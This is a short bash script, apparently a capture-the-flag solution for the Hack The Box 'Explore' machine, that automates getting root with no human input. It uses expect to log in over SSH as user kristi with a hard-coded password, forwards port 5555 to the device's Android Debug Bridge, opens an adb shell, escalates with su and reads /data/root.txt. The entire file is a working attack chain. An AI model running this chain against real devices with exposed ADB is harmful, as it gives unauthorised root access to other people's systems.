#!/usr/bin/env bash
# automate exploit explore htb
# retrieve root.txt without human interaction
# LoRKa · pax0r.com

command -v expect >/dev/null 2>&1 || { echo -e >&2 "Expect needed. use 'apt install expect'"; exit 1; }
command -v adb >/dev/null 2>&1 || { echo -e >&2 "ADB needed. use 'apt install adb'"; exit 1; }
command -v screen >/dev/null 2>&1 || { echo -e >&2 "ADB needed. use 'apt install screen'"; exit 1; }

trap 'rm "${TUNNEL}" ${ADBCONN}' EXIT
TUNNEL=$(mktemp)
ADBCONN=$(mktemp)
SESSION=$(tr -dc '0-9' < /dev/urandom | fold -w 5 | head -n 1)

cat << EOF >> ${TUNNEL}
#!/usr/bin/expect
set timeout 20
spawn ssh -p 2222 -L 5555:localhost:5555 kristi@10.10.10.247
expect "Password:" 
send -- "Kr1sT!5h@Rp3xPl0r3!\r"
sleep 2
expect eof
EOF

cat << EOF >> ${ADBCONN}
#!/usr/bin/expect
spawn /usr/bin/adb connect localhost:5555
sleep 2
spawn /usr/bin/adb shell
expect "x86_64:/ $"
send -- "su\r"
sleep 2
send -- "cat /data/root.txt\r"
expect eof
EOF


#RunAway
screen -S ${SESSION} -dm bash -c "expect ${TUNNEL}"
sleep 2
expect ${ADBCONN}
